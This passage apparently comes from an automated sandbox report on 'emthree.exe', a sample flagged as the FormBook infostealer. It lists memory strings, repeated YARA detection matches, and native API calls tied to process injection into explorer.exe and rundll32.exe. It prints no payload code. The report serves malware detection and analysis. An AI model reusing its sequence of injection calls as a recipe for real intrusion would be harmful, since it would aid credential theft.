Source: emthree.exe, 00000000.00000002.243864150.0000000007352000.00000004.00000001.sdmp, explorer.exe, 00000002.00000000.262419309.000000000BC30000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: emthree.exe, 00000000.00000002.243864150.0000000007352000.00000004.00000001.sdmp, explorer.exe, 00000002.00000000.262419309.000000000BC30000.00000002.00000001.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: emthree.exe, 00000000.00000002.243864150.0000000007352000.00000004.00000001.sdmp, explorer.exe, 00000002.00000000.262419309.000000000BC30000.00000002.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: emthree.exe, 00000000.00000002.243864150.0000000007352000.00000004.00000001.sdmp, explorer.exe, 00000002.00000000.262419309.000000000BC30000.00000002.00000001.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: emthree.exe, 00000000.00000002.243864150.0000000007352000.00000004.00000001.sdmp, explorer.exe, 00000002.00000000.262419309.000000000BC30000.00000002.00000001.sdmp	String found in binary or memory: http://www.sakkal.com
Source: emthree.exe, 00000000.00000002.243864150.0000000007352000.00000004.00000001.sdmp, explorer.exe, 00000002.00000000.262419309.000000000BC30000.00000002.00000001.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: explorer.exe, 00000002.00000000.262419309.000000000BC30000.00000002.00000001.sdmp	String found in binary or memory: http://www.tiro.com
Source: emthree.exe, 00000000.00000002.243864150.0000000007352000.00000004.00000001.sdmp, explorer.exe, 00000002.00000000.262419309.000000000BC30000.00000002.00000001.sdmp	String found in binary or memory: http://www.typography.netD
Source: emthree.exe, 00000000.00000002.243864150.0000000007352000.00000004.00000001.sdmp, explorer.exe, 00000002.00000000.262419309.000000000BC30000.00000002.00000001.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: emthree.exe, 00000000.00000002.243864150.0000000007352000.00000004.00000001.sdmp, explorer.exe, 00000002.00000000.262419309.000000000BC30000.00000002.00000001.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn

Source: emthree.exe, 00000000.00000002.238716419.00000000016B0000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud:

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000001.00000002.275755986.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.489611416.0000000002D90000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.276071726.0000000000AB0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.240137106.00000000044F1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.489786032.0000000003040000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.276033379.0000000000A50000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.488444370.0000000000C50000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 1.2.emthree.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.emthree.exe.400000.0.raw.unpack, type: UNPACKEDPE

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 00000001.00000002.275755986.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000001.00000002.275755986.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000002.489611416.0000000002D90000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000002.489611416.0000000002D90000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000002.276071726.0000000000AB0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000001.00000002.276071726.0000000000AB0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.240137106.00000000044F1000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000002.240137106.00000000044F1000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000002.489786032.0000000003040000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000002.489786032.0000000003040000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000002.276033379.0000000000A50000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000001.00000002.276033379.0000000000A50000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000002.488444370.0000000000C50000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000002.488444370.0000000000C50000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.emthree.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 1.2.emthree.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.emthree.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 1.2.emthree.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group

Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0041A070 NtClose,
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0041A120 NtAllocateVirtualMemory,
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00419F40 NtCreateFile,
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00419FF0 NtReadFile,
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0041A06B NtClose,
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0041A03A NtReadFile,
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01029910 NtAdjustPrivilegesToken,LdrInitializeThunk,
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010299A0 NtCreateSection,LdrInitializeThunk,
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01029840 NtDelayExecution,LdrInitializeThunk,
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01029860 NtQuerySystemInformation,LdrInitializeThunk,
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010298F0 NtReadVirtualMemory,LdrInitializeThunk,
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01029A00 NtProtectVirtualMemory,LdrInitializeThunk,
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01029A20 NtResumeThread,LdrInitializeThunk,
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01029A50 NtCreateFile,LdrInitializeThunk,
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01029540 NtReadFile,LdrInitializeThunk,
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010295D0 NtClose,LdrInitializeThunk,
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01029710 NtQueryInformationToken,LdrInitializeThunk,
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01029780 NtMapViewOfSection,LdrInitializeThunk,
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010297A0 NtUnmapViewOfSection,LdrInitializeThunk,
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01029660 NtAllocateVirtualMemory,LdrInitializeThunk,
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010296E0 NtFreeVirtualMemory,LdrInitializeThunk,
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01029950 NtQueueApcThread,
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010299D0 NtCreateProcessEx,
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01029820 NtEnumerateKey,
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0102B040 NtSuspendThread,
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010298A0 NtWriteVirtualMemory,
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01029B00 NtSetValueKey,
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0102A3B0 NtGetContextThread,
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01029A10 NtQuerySection,
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01029A80 NtOpenDirectoryObject,
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01029520 NtWaitForSingleObject,
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0102AD30 NtSetContextThread,
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01029560 NtWriteFile,
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010295F0 NtQueryInformationFile,
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0102A710 NtOpenProcessToken,
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01029730 NtQueryVirtualMemory,
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01029760 NtOpenProcess,
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0102A770 NtOpenThread,
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01029770 NtSetInformationFile,
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01029FE0 NtCreateMutant,
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01029610 NtEnumerateValueKey,
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01029650 NtQueryValueKey,
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01029670 NtQueryInformationProcess,
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010296D0 NtCreateKey,
Source: C:\Windows\explorer.exe	Code function: 2_2_06D51A52 NtCreateFile,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EE95D0 NtClose,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EE9540 NtReadFile,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EE96E0 NtFreeVirtualMemory,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EE96D0 NtCreateKey,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EE9660 NtAllocateVirtualMemory,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EE9650 NtQueryValueKey,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EE9FE0 NtCreateMutant,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EE9780 NtMapViewOfSection,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EE9710 NtQueryInformationToken,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EE9860 NtQuerySystemInformation,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EE9840 NtDelayExecution,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EE99A0 NtCreateSection,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EE9910 NtAdjustPrivilegesToken,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EE9A50 NtCreateFile,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EE95F0 NtQueryInformationFile,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EE9560 NtWriteFile,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EE9520 NtWaitForSingleObject,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EEAD30 NtSetContextThread,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EE9670 NtQueryInformationProcess,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EE9610 NtEnumerateValueKey,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EE97A0 NtUnmapViewOfSection,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EE9760 NtOpenProcess,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EEA770 NtOpenThread,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EE9770 NtSetInformationFile,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EE9730 NtQueryVirtualMemory,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EEA710 NtOpenProcessToken,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EE98F0 NtReadVirtualMemory,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EE98A0 NtWriteVirtualMemory,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EEB040 NtSuspendThread,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EE9820 NtEnumerateKey,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EE99D0 NtCreateProcessEx,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EE9950 NtQueueApcThread,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EE9A80 NtOpenDirectoryObject,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EE9A20 NtResumeThread,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EE9A00 NtProtectVirtualMemory,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EE9A10 NtQuerySection,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EEA3B0 NtGetContextThread,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EE9B00 NtSetValueKey,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02DAA070 NtClose,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02DAA120 NtAllocateVirtualMemory,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02DA9FF0 NtReadFile,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02DA9F40 NtCreateFile,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02DAA06B NtClose,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02DAA03A NtReadFile,

Source: C:\Users\user\Desktop\emthree.exe	Code function: 0_2_032AC164
Source: C:\Users\user\Desktop\emthree.exe	Code function: 0_2_032AE5A2
Source: C:\Users\user\Desktop\emthree.exe	Code function: 0_2_032AE5B0
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00401030
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0041E423
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00402D87
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00402D90
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00409E40
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0041D73D
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00402FB0
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01004120
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FFB090
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010099BF
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010A1002
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010BE824
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0100A830
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010120A0
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010B20A8
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010B28EC
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FEF900
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0100A309
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010B2B28
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0100AB40
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0101EBB0
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010A03DA
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010ADBD2
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0101ABD8
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010923E3
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_0109FA2B
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010B22AE
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010A4AEF
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010B2D07
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010B1D55
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01012581
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010B25DD
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FF841F
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FFD5E0
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010AD466
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010A4496
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_00FE0D20
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010BDFCE
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010B1FF1
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010AD616
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_01006E30
Source: C:\Users\user\Desktop\emthree.exe	Code function: 1_2_010B2EF7
Source: C:\Windows\explorer.exe	Code function: 2_2_06D51A52
Source: C:\Windows\explorer.exe	Code function: 2_2_06D49CF2
Source: C:\Windows\explorer.exe	Code function: 2_2_06D49CE9
Source: C:\Windows\explorer.exe	Code function: 2_2_06D50882
Source: C:\Windows\explorer.exe	Code function: 2_2_06D48072
Source: C:\Windows\explorer.exe	Code function: 2_2_06D48069
Source: C:\Windows\explorer.exe	Code function: 2_2_06D54A0C
Source: C:\Windows\explorer.exe	Code function: 2_2_06D4F152
Source: C:\Windows\explorer.exe	Code function: 2_2_06D4CB1F
Source: C:\Windows\explorer.exe	Code function: 2_2_06D4CB22
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F64496
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F6D466
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EB841F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EBD5E0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F725DD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04ED2581
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F62D82
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F71D55
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EA0D20
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F72D07
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F72EF7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EC6E30
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F6D616
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F71FF1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F7DFCE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F728EC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04ED20A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F720A8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EBB090
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F7E824
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04ECA830
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F61002
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EC99BF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EC4120
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EAF900
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F64AEF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F722AE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F5FA2B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F523E3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F6DBD2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F603DA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EDABD8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04EDEBB0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04ECAB40
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04F72B28
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_04ECA309
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02D99E40
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02D92FB0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02DAD73D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02DAE423
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02D92D90
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02D92D87

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 04EAB150 appears 133 times
Source: C:\Users\user\Desktop\emthree.exe	Code function: String function: 00FEB150 appears 124 times

Source: emthree.exe	Binary or memory string: OriginalFilename vs emthree.exe
Source: emthree.exe, 00000000.00000002.238716419.00000000016B0000.00000004.00000020.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs emthree.exe
Source: emthree.exe, 00000000.00000002.239603549.0000000003530000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameMARCUS.dll4 vs emthree.exe
Source: emthree.exe, 00000000.00000002.239603549.0000000003530000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameB2B.exe4 vs emthree.exe
Source: emthree.exe	Binary or memory string: OriginalFilename vs emthree.exe
Source: emthree.exe, 00000001.00000002.276207579.0000000000BBB000.00000004.00000020.sdmp	Binary or memory string: OriginalFilenameRUNDLL32.EXEj% vs emthree.exe
Source: emthree.exe, 00000001.00000002.276372802.00000000010DF000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs emthree.exe
Source: emthree.exe	Binary or memory string: OriginalFilename vs emthree.exe

Source: C:\Windows\SysWOW64\rundll32.exe

Section loaded: sfc.dll

Source: 00000001.00000002.275755986.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000001.00000002.275755986.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000002.489611416.0000000002D90000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000002.489611416.0000000002D90000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000002.276071726.0000000000AB0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000001.00000002.276071726.0000000000AB0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.240137106.00000000044F1000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000000.00000002.240137106.00000000044F1000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000002.489786032.0000000003040000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000002.489786032.0000000003040000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000002.276033379.0000000000A50000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000001.00000002.276033379.0000000000A50000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000002.488444370.0000000000C50000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000002.488444370.0000000000C50000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.emthree.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 1.2.emthree.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
